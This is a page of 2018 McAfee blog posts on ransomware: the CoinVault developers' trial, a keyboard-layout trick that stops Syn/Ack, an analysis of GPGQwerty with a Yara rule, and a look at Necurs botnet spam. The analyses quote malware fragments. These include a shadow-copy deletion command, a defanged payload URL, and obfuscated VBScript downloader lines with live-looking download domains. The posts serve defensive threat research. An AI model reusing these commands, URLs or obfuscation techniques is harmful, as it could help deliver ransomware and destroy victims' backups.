Category: Ransomware

Jul 13 2018

What Drives a Ransomware Criminal? CoinVault Developers Convicted in Dutch Court

How often do we get a chance to learn what goes on in the minds of cybercriminals? Two members of McAfee’s Advanced Threat Research team recently did, as they attended a court case against two cybercriminal brothers.

The brothers, Dennis and Melvin, faced a judge in Rotterdam, in the Netherlands. This case was one of the first in the world in which ransomware developers appeared in court and were convicted for creating and spreading ransomware.

They were responsible for creating the ransomware families CoinVault and BitCryptor. CoinVault, the better known of the two, made its appearance in late 2014. The technically skilled programmers had examined the source code of CryptoLocker, the notorious ransomware family that first struck in 2013. The brothers were not very impressed and agreed that they could do a better job. What might have started out as a fun technical challenge turned into a criminal business.

The CoinVault and BitCryptor campaigns were not as widespread as CTB-Locker, CryptoWall, or Locky ransomware campaigns. Nor did they profit as much from it, but this case is nevertheless uncommon. It is rare that the developers of ransomware are caught, let alone confess their crimes. This case gives us an opportunity to understand what drove them down a path to cybercrime.

The challenge

Why would someone write malicious code and infect thousands of people? The judge asked the brothers the same question. Their response was “Because it was a technical challenge.” “But didn’t you realize you were dealing with people?” the judge responded. Both brothers answered that they did not; they were dealing with computers and never met their victims face to face.

The judge and prosecutor did not accept their explanation. CoinVault had a built-in helpdesk function to directly communicate with their victims, thus registering their pleas. The brothers standard reaction was merciless: “Just pay the money; otherwise we won’t decrypt.” According to the prosecutor, they had plenty of opportunities to see the consequences of their actions but choose to ignore them for money.

At the trial they said they were sorry and tearfully regretted what they had done. But were these mere crocodile tears because they got caught? During CoinVault’s lifespan, several versions of the ransomware were released. Every new version was a reaction to blogs written by security researchers and takedowns performed by law enforcement. Instead of realizing that they were making a mistake and stopping, the brothers saw it as a challenge, a digital game of cat and mouse, and constantly improved their malicious code.

Their continuing to improve the ransomware shows a lack of empathy with their victims. Was there no one in their social surroundings who could straighten their moral compasses and talk sense into them?

The payment

A ransomware criminal must decide the amount of ransom to charge. Generally the more targeted a ransomware attack is, the higher the ransom demand will be. CoinVault’s infections were not targeted at one organization; they charged only US$250. The two brothers explained that they chose that price to be low enough for an average person to pay while still making a good profit. The prosecutor remarked ironically that they were “very noble [to keep] their ransom demand affordable.”

The infection

The two brothers did not directly infect their victims with ransomware; they took a multistep approach. Their distribution method was via newsgroup channels. They hooked a small piece of malicious code to known software or license-key generators before posting the software packages on the newsgroups. Once victims installed the package or ran the key generator, they would become part of a botnet through the software the brothers named Comhost, which can record keystrokes, search for credentials, and steal Bitcoin wallets. Comhost can also upload and execute binaries received from the control server they named Sonar. (We believe Sonar is modified a version of the popular Solar botnet software.)

The Sonar botnet panel.

Once they had accumulated enough bots, they simply pushed CoinVault to all their victims and locked thousands of computers at once. This method made it hard for victims to figure out how they were attacked, because weeks could pass between the initial infection and the encryption. By spreading their ransomware via newsgroups with pirated software, they discouraged victims from going to the police out of fear of prosecution and copyright-violation fines.

The CoinVault lock screen.

The arrest

In April 2015, The National High Tech Crime Unit of the Dutch Police seized the control servers for CoinVault. After the police investigated, the two brothers, aged 18 and 22 at the time, were arrested in Amersfoort, Netherlands, on September 14, 2015. Systems were infected not only in the Netherlands, but also in the United States, Germany, France, and the United Kingdom. Their mistakes? Using flawless Dutch in the ransom notes and one time they did not use a Tor connection to log in into their control server, instead using their home connection.

Flawless Dutch in the ransomware code.

Although they used an obfuscator tool (Confuser) for their code, in some of the samples the full name of one of the authors was present, because they did not clean up the debugging path.

Example:

 c:\Users\**********\Desktop\Coinvault\coinvault-cleaned\obj\Debug\coinvault.pdb

From grabbing keys to No More Ransom

During the investigation the Dutch police obtained all the decryption keys for CoinVault and partnered with the private sector to build a decryption tool for CoinVault ransomware, successfully mitigating a large portion of the damage caused by CoinVault. This effort idea gave birth to No More Ransom, an online portal supported by the public and private sector with the largest repository on the planet of free ransomware decryption tools. No More Ransom now has decryptors for 85 ransomware versions. This global initiative has prevented millions of dollars from falling into the hands of cybercriminals. McAfee is proud to be one of the founding members of No More Ransom.

Nomoreransom.org

The next steps

Extorting people with ransomware is wrong, and perpetrators must be held accountable. It is sad to see two talented young people choose a pathway to cybercrime and waste their skills—skills sorely needed in the cybersecurity sector. We hope they will have learned a lesson as they endure the consequences of their actions. The sentencing will take place in about two weeks. Perhaps after they serve their time, they will find someone willing to give them a second chance.

The post What Drives a Ransomware Criminal? CoinVault Developers Convicted in Dutch Court appeared first on McAfee Blogs.

May 11 2018

Syn/Ack Unique Proactive Protection Technique

McAfee’s Advanced Threat Research team has performed analysis on samples of Syn/Ack ransomware implementing Process Doppelgänging.  For those who are concerned about the potential impact of this ransomware but are currently unable to implement McAfee product protections, we have found a simple but interesting alternative method.  Prior to encryption and ransom, the malware first checks if one of several hardcoded keyboards or languages is installed on the target machine.  If found, the malicious code will terminate, effectively resulting in an extremely simple “patch” of sorts. We have tested the following steps to be effective on several versions of Windows 7 and theoretically on Windows 10 – preventing the malware from encryption and ransom.  These steps can be taken proactively.  Due to limited scope of testing at this time, this technique may not work on all systems, release versions, and configurations.

Windows 7 – Adding Keyboard Layout:

Control Panel > Clock, Language, and Region > Region and Language > Keyboards and Languages

Click the “Change Keyboards” tab

In the Installed Services section click “add”

Select Keyboard – For example: Russian (Russia) > Keyboard > Russian

Click “Ok”

Click “Apply”

Click “Ok”

Here is the list of keyboards layouts you can add – any will suffice:

  • Armenian
  • Azeri, (Cyrillic, Azerbaijan)
  • Belarusian
  • Georgian
  • Kazakh
  • Ukrainian
  • Uzbek (Cryillic, Uzbekistan)
  • Uzbek (Latin,Uzbekistan)
  • Russian
  • Tajik

Windows 10 – Adding Language Support:

Control Panel > Language > Add a language

  • Armenian
  • Azeri, (Cyrillic, Azerbaijan)
  • Belarusian
  • Georgian
  • Kazakh
  • Ukrainian
  • Uzbek (Cryillic, Uzbekistan)
  • Uzbek (Latin,Uzbekistan)
  • Russian
  • Tajik

That’s all it takes!  Please note – this should not be considered a fully effective or long-term strategy.  It is highly likely the malware will change based on this finding; thus, we recommend the McAfee product protections referenced above for best effect.

The post Syn/Ack Unique Proactive Protection Technique appeared first on McAfee Blogs.

Mar 19 2018

Ransomware Takes Open-Source Path, Encrypts With GNU Privacy Guard

McAfee Labs has recently observed a new variant of ransomware that relies on the open-source program GNU Privacy Guard (GnuPG) to encrypt data. GnuPG is a hybrid-encryption software program that uses a combination of conventional symmetric-key cryptography for speed and public-key cryptography to ease the secure key exchange. Although ransomware using GnuPG to encrypt files is not unique, it is uncommon.

We analyzed the following SHA-256 hashes of the malware GPGQwerty:

  • 2762a7eadb782d8a404ad033144954384be3ed11e9714c468c99f0d3df644ef5
  • 39c510bc504a647ef8fa1da8ad3a34755a762f1be48e200b9ae558a41841e502
  • f5cd435ea9a1c9b7ec374ccbd08cc6c4ea866bcdc438ea8f1523251966c6e88b

We found these hashes need many support files for successful execution. The three files themselves will not encrypt anything. GPGQwerty consists of a bundle of files that runs together to encrypt a victim’s machine. The bundle comprises ten files:

This ransomware was first seen at the beginning of March. Generally, this type of malware spreads by spam email, malicious attachments, exploits, or fraudulent downloads. The binary 39c510bc504a647ef8fa1da8ad3a34755a762f1be48e200b9ae558a41841e502 was spotted in the wild at hxxp://62.152.47.251:8000/w/find.exe; it may be part of a drive-by download strategy or was hosted on a legitimate site.

Key.bat, run.js, and find.exe are three files that play a vital role in the encryption process. The infection process follows this path:

Analysis

The binary find.exe has eight sections and the raw size of its .bss section is zero.

It also has an unusual time and date stamp:

The file includes malicious thread local storage (TLS) callbacks as an anti-analysis trick. Generally, this technique allows executable files to include malicious TLS callback functions to run prior to the AddressOfEntryPoint field (the normal execution point of a binary) in the executable header.

The action starts with the execution of the batch file key.bat. It imports the key and launches find.exe on the victim’s machine by executing the JavaScript run.js. The contents of the batch and JavaScript files are shown in the following snippet:

This ransomware kills some selected running tasks using command-line utility taskkill. This command has options to kill a task or process either by using the process ID or the image filename. In the following snippet, we see it terminating some processes forcefully by using their image names.

The ransomware tries to encrypt data using GnuPG (gpg.exe). The malware appends the extension .qwerty to the encrypted files:

The malware overwrites the original files using shred.exe:

After encryption, the ransomware allots a unique ID that identifies each victim. It also creates a .txt file that states all files on the computer have been locked and the victim must pay to decrypt the files.

GPGQwerty deletes the recycle bin using the Windows utility del:

Using the command “vssadmin.exe Delete Shadows /All /Quiet,” the ransomware silently removes the volume shadow copies (vssadmin.exe, wmic.exe) from the target’s system, thus preventing the victim from restoring the encrypted files. It also deletes backup catalogs (wbadmin.exe) and disables automatic repair at boot time (bcdedit.exe):

Finally, it creates the ransom note readme_decrypt.txt in each folder that holds an encrypted file. The ransom note gives instructions to communicate with an email address within 72 hours to arrange payment.

This Yara rule detects GPGQwerty:

rule crime_ransomware_windows_GPGQwerty: crime_ransomware_windows_GPGQwerty

{

meta:

author = “McAfee Labs”

description = “Detect GPGQwerty ransomware”

strings:

$a = “gpg.exe –recipient qwerty  -o”

$b = “%s%s.%d.qwerty”

$c = “del /Q /F /S %s$recycle.bin”

$d = “[email protected]

condition:

          all of them

}

 

McAfee advises all users to keep their antimalware products up to date. McAfee products detect this malware as Ransomware-GKF! [Partial hash] with DAT Versions 8826 and later. For more on combatin

The post Ransomware Takes Open-Source Path, Encrypts With GNU Privacy Guard appeared first on McAfee Blogs.

Mar 12 2018

Necurs Botnet Leads the World in Sending Spam Traffic

In Q4 2017 we found that the Necurs and Gamut botnets comprised 97% of spam botnet traffic. (See the McAfee Labs Threats Report, March 2018.) Necurs (at 60%) is currently the world’s largest spam botnet. The infected computers operate in a peer-to-peer model, with limited communication between the nodes and the control servers. Cybercriminals can rent access to the botnet to spread their own malicious campaigns.

The most common techniques are email attachments with macros or JavaScript to download malware from different locations. In October, the Locky ransomware campaign used Microsoft’s Dynamic Data Exchange to lure victims into “updating” the attached document with data from linked files—external links that delivered the malware.

In Q4 we noticed several botnet campaigns delivering the following payloads:

  • GlobeImposter ransomware
  • Locky ransomware
  • Scarab ransomware
  • Dridex banking Trojan

A timeline:

Let’s zoom in on one of the campaigns from the Necurs botnet. In the following example, an email automatically sent from a VOIP system informs the victim of a missed call. The email contains an attachment, a Visual Basic script.

In this case, the name is “Outside Caller 19-12-2017 [random nr].” Here is some of the script code:

Execute "Sub Aodunnecessarilybusinesslike(strr):ZabiT.Savetofile writenopopbusinesslikeInPlaceOf , 2 : End Sub"

Disaster = "//21+12:ptth21+12ex"+"e.eUtaLHpbP\21+12elifotevas21+12ydoBes"+"nopser21+12etirw21+12nepo21+12epyT21+12PmeT21+12TeG21+12ssecorP21+12llehs.tpircsW21+12noitacilppA.llehs21+12" & "" 

 

This piece of code makes sure that the embedded code will be saved to a file. Note the second line of code: It is backward and calls the Windows script shell to execute the code. The following code string ensures that the backward line is read properly:

SudForMake = Split("Microsoft.XMLHTTP21+12Adodb.streaM"+StrReverse(Disaster),  "21+12")

 

The following line starts the saved code:

writenopopbusinesslikeMacAttack.Run("cmd."&"exe /c START """" "+" " & ArrArr ) 

 

Once the executable is started, it attempts to download the ransomware from the embedded URLs in the code: 

krapivec = Array("littleblessingscotons.com/jdh673hk?","smarterbaby.com/jdh673hk?","ragazzemessenger.com/jdh673hk?") 

 

The malware downloaded and executed is GlobeImposter ransomware. After encrypting all files and deleting the Volume Shadow copies to block file restore, the user is prompted with the request to buy the decryptor:

Spam botnets are one of the pillars of the cybercrime business. The authors of these botnets understand their market value and spend their rental income on continuous development. Their work keeps the infrastructure running, creates ever-changing spam messages, and delivers these messages to your inbox—with many avoiding spam blockers. This cybercrime effort should inspire your organization to discuss the implementation of DMARC (domain-based message authentication, reporting & conformance). To learn more about how DMARC can help protect against this kind of threat, visit dmarc.org. For more on Necurs, see the McAfee Labs Threats Report, June 2017.

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